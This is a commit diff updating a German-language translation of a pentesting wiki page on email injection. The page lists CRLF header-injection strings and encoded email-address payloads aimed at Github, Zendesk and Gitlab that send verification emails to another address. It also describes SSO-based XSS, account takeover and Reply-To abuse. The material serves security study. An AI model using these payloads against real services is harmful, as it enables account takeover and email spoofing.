Translated ['pentesting-web/email-injections.md', 'todo/emails-vulns.md'

This commit is contained in:
Translator 2024-08-19 15:46:10 +00:00
parent 332bf35e57
commit 5035798a76
2 changed files with 92 additions and 30 deletions

View file

@ -840,7 +840,6 @@
* [Burp Suite](todo/burp-suite.md)
* [Other Web Tricks](todo/other-web-tricks.md)
* [Interesting HTTP](todo/interesting-http.md)
* [Emails Vulnerabilities](todo/emails-vulns.md)
* [Android Forensics](todo/android-forensics.md)
* [TR-069](todo/tr-069.md)
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)

View file

@ -3,14 +3,14 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
Zugang heute erhalten:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Lernen & üben Sie AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -23,13 +23,13 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
## In E-Mail einfügen
## Inject in sent e-mail
### Cc und Bcc nach dem Absender-Argument einfügen
### Inject Cc and Bcc after sender argument
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Die Nachricht wird an die Konten des Empfängers und des Empfängers1 gesendet.
Die Nachricht wird an die Konten des Empfängers und von Empfänger1 gesendet.
### Inject argument
```
@ -43,9 +43,9 @@ From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Der gefälschte Betreff wird dem ursprünglichen Betreff hinzugefügt und ersetzt in einigen Fällen diesen. Es hängt vom Verhalten des E-Mail-Dienstes ab.
### Ändern Sie den Text der Nachricht
### Ändern Sie den Inhalt der Nachricht
Injizieren Sie einen Zeilenumbruch, und schreiben Sie dann Ihre Nachricht, um den Text der Nachricht zu ändern.
Injizieren Sie einen Zeilenumbruch, und schreiben Sie dann Ihre Nachricht, um den Inhalt der Nachricht zu ändern.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
@ -75,7 +75,7 @@ Ein Angreifer kann in diesem Fall **zusätzliche Parameter für sendmail injizie
#### Unterschiede in der Implementierung von /usr/sbin/sendmail
Die **sendmail**-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die **grundlegende Funktionalität** (wie -t -i -f Parameter) aus Kompatibilitätsgründen **gleich bleibt**, variieren **andere Funktionen und Parameter** stark, abhängig vom installierten MTA.
Die **sendmail**-Schnittstelle wird von der MTA-E-Mail-Software (**Sendmail, Postfix, Exim** usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die **grundlegende Funktionalität** (wie -t -i -f Parameter) aus Kompatibilitätsgründen **gleich bleibt**, variieren **andere Funktionen und Parameter** stark, abhängig vom installierten MTA.
Hier sind einige Beispiele für verschiedene Man-Seiten des sendmail-Befehls/-schnittstelle:
@ -87,6 +87,10 @@ Je nach **Herkunft des sendmail**-Binaries wurden verschiedene Optionen entdeckt
## In den E-Mail-Namen injizieren
{% hint style="danger" %}
Beachten Sie, dass Sie, wenn Sie es schaffen, ein Konto in einem Dienst mit einem beliebigen Domainnamen (wie Github, Gitlab, CloudFlare Zero Trust...) zu erstellen und es zu verifizieren, indem Sie die Bestätigungs-E-Mail an Ihre E-Mail-Adresse erhalten, möglicherweise auf sensible Bereiche des Opferunternehmens zugreifen können.
{% endhint %}
### Ignorierte Teile einer E-Mail
Die Symbole: **+, -** und **{}** können in seltenen Fällen zum Taggen verwendet werden und werden von den meisten E-Mail-Servern ignoriert.
@ -101,7 +105,7 @@ Die Symbole: **+, -** und **{}** können in seltenen Fällen zum Taggen verwende
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Anführungszeichen
### Zitate
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
@ -112,24 +116,83 @@ Sie können auch IPs als Domainnamen in eckigen Klammern verwenden:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Andere Schwachstellen
### E-Mail-Codierung
Wie in [**dieser Forschung**](https://portswigger.net/research/splitting-the-email-atom) erklärt, können E-Mail-Namen auch codierte Zeichen enthalten:
* **PHP 256 Überlauf**: Die PHP `chr`-Funktion wird weiterhin 256 zu einem Zeichen hinzufügen, bis es positiv wird, und dann die Operation `%256` durchführen.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Das Ziel dieses Tricks ist es, mit einer Injektion wie `RCPT TO:<"collab@psres.net>collab"@example.com>` zu enden,\
die die Bestätigungs-E-Mail an eine andere E-Mail-Adresse als die erwartete sendet (daher um eine andere E-Mail-Adresse innerhalb des E-Mail-Namens einzuführen und die Syntax beim Senden der E-Mail zu brechen).
{% endhint %}
Verschiedene Codierungen:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Beachte das kodierte `@` als =40, das kodierte `>` als `=3e` und `null` als `=00`&#x20;
* Es wird die Bestätigungs-E-Mail an `collab@psres.net` gesendet
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Der gleiche Trick wie zuvor, aber mit einem regulären Anführungszeichen am Anfang und dem kodierten Anführungszeichen `=22` vor dem kodierten `@` und dann einige Anführungszeichen vor der nächsten E-Mail zu öffnen und zu schließen, um die intern von Zendesk verwendete Syntax zu korrigieren
* Es wird die Bestätigungs-E-Mail an `collab@psres.net` gesendet
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Beachte die Verwendung des Unterstrichs als Leerzeichen zur Trennung der Adresse
* Es wird die Bestätigungs-E-Mail an `collab@psres.net` gesendet
* Punycode: Mit Punycode war es möglich, ein Tag `<style` in Joomla einzufügen und es auszunutzen, um das CSRF-Token über CSS-Exfiltration zu stehlen.
#### Tooling
* Es gibt ein **Burp Suite Turbo Intruder-Skript**, um diese Art von Kombinationen zu fuzzern, um E-Mail-Formate anzugreifen. Das Skript hat bereits potenziell funktionierende Kombinationen.
* Es ist auch möglich, [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) zu verwenden, um einen E-Mail-Splitting-Angriff zu erstellen
### Other vulns
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## Drittanbieter-SSO
## Third party SSO
### XSS
Einige Dienste wie **github** oder **salesforce erlauben** es Ihnen, eine **E-Mail-Adresse mit XSS-Payloads zu erstellen**. Wenn Sie **diese Anbieter verwenden können, um sich bei anderen Diensten anzumelden** und diese Dienste **die E-Mail nicht korrekt bereinigen**, könnten Sie **XSS** verursachen.
Einige Dienste wie **github** oder **salesforce erlauben** es dir, eine **E-Mail-Adresse mit XSS-Payloads zu erstellen**. Wenn du **diese Anbieter nutzen kannst, um dich bei anderen Diensten anzumelden** und diese Dienste **die E-Mail nicht korrekt bereinigen**, könntest du **XSS** verursachen.
### Kontoübernahme
### Account-Takeover
Wenn ein **SSO-Dienst** es Ihnen erlaubt, **ein Konto zu erstellen, ohne die angegebene E-Mail-Adresse zu verifizieren** (wie **salesforce**) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der **salesforce vertraut**, könnten Sie auf jedes Konto zugreifen.\
_Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail verifiziert wurde oder nicht, aber die Anwendung sollte diese Informationen berücksichtigen._
Wenn ein **SSO-Dienst** es dir erlaubt, **ein Konto zu erstellen, ohne die angegebene E-Mail-Adresse zu verifizieren** (wie **salesforce**) und du dann dieses Konto verwenden kannst, um dich bei einem anderen Dienst anzumelden, der **salesforce vertraut**, könntest du auf jedes Konto zugreifen.\
_Beachte, dass salesforce angibt, ob die angegebene E-Mail verifiziert wurde oder nicht, aber die Anwendung sollte diese Informationen berücksichtigen._
## Antwort-An
## Reply-To
Sie können eine E-Mail senden, die _**Von: company.com**_ und _**Antwort-An: attacker.com**_ verwendet, und wenn eine **automatische Antwort** gesendet wird, weil die E-Mail **von** einer **internen Adresse** gesendet wurde, könnte der **Angreifer** in der Lage sein, diese **Antwort** zu **erhalten**.
Du kannst eine E-Mail senden mit _**From: company.com**_ und _**Replay-To: attacker.com**_ und wenn eine **automatische Antwort** gesendet wird, weil die E-Mail **von** einer **internen Adresse** gesendet wurde, könnte der **Angreifer** in der Lage sein, diese **Antwort** zu **erhalten**.
## Hard Bounce Rate
@ -137,13 +200,13 @@ Bestimmte Dienste, wie AWS, implementieren einen Schwellenwert, der als **Hard B
Ein **hard bounce** bezieht sich auf eine **E-Mail**, die an den Absender zurückgesendet wurde, weil die Adresse des Empfängers ungültig oder nicht existent ist. Dies kann aus verschiedenen Gründen geschehen, wie z.B. dass die **E-Mail** an eine nicht existierende Adresse gesendet wurde, eine Domain, die nicht real ist, oder die Ablehnung des Empfängerservers, **E-Mails** zu akzeptieren.
Im Kontext von AWS, wenn Sie 1000 E-Mails senden und 100 davon zu Hard Bounces führen (aufgrund von Gründen wie ungültigen Adressen oder Domains), würde dies eine Hard Bounce Rate von 10% bedeuten. Das Erreichen oder Überschreiten dieses Wertes kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendefunktionen blockiert oder aussetzt.
Im Kontext von AWS, wenn du 1000 E-Mails sendest und 100 davon zu Hard Bounces führen (aufgrund von Gründen wie ungültigen Adressen oder Domains), würde dies eine Hard Bounce Rate von 10% bedeuten. Das Erreichen oder Überschreiten dieses Wertes kann dazu führen, dass AWS SES (Simple Email Service) deine E-Mail-Sende-Funktionen blockiert oder aussetzt.
Es ist entscheidend, eine niedrige Hard Bounce Rate aufrechtzuerhalten, um einen ununterbrochenen E-Mail-Dienst sicherzustellen und den Absenderruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dies zu erreichen.
Es ist entscheidend, eine niedrige Hard Bounce Rate aufrechtzuerhalten, um einen ununterbrochenen E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in deinen Mailinglisten kann erheblich dazu beitragen, dies zu erreichen.
Für detailliertere Informationen kann auf die offizielle Dokumentation von AWS zur Handhabung von Bounces und Beschwerden verwiesen werden: [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## Referenzen
## References
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
@ -151,16 +214,16 @@ Für detailliertere Informationen kann auf die offizielle Dokumentation von AWS
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Lerne & übe AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstützen Sie HackTricks</summary>
<summary>Support HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
@ -168,7 +231,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
Zugang heute erhalten:
Verwende [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), um einfach **Workflows** zu erstellen und zu **automatisieren**, die von den **fortschrittlichsten** Community-Tools der Welt unterstützt werden.\
Erhalte heute Zugang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}